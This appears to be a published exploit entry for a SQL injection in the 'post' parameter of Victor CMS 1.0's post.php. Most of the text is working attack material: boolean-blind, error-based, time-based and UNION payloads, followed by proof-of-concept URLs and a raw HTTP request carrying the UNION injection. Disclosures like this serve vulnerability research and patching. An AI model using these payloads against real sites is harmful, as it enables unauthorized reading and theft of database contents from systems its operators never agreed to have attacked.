Victor CMS 1.0 - 'post' SQL Injection

# Exploit Title: Victor CMS 1.0 - 'post' SQL Injection
# Google Dork: N/A
# Date: 2020-05-09
# Exploit Author: BKpatron
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Discription:
# The Victor CMS v1.0 application is vulnerable to SQL injection via the 'post' parameter on the post.php page.
# vulnerable file : post.php
http://localhost/CMSsite-master/post.php?post=1


Parameter: post (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: post=1 AND 2333=2333

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: post=1 AND (SELECT 4641 FROM(SELECT COUNT(*),CONCAT(0x7178787871,(SELECT (ELT(4641=4641,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: post=1 AND (SELECT 7147 FROM (SELECT(SLEEP(5)))vltp)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: post=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL-- PTYU

[INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
# Proof of Concept:
http://localhost/CMSsite-master/post.php?post=sqli

http://localhost/CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU

GET /CMSsite-master/post.php?post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=gd27m8o57gcb23t7se4d4tdv1g
Connection: keep-alive
Upgrade-Insecure-Requests: 1
post=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7178787871,0x54487357657079447543667943786c4f7a634a654a707448516e6f6e6241674f4c4a50477164646c,0x717a627171),NULL,NULL--%20PTYU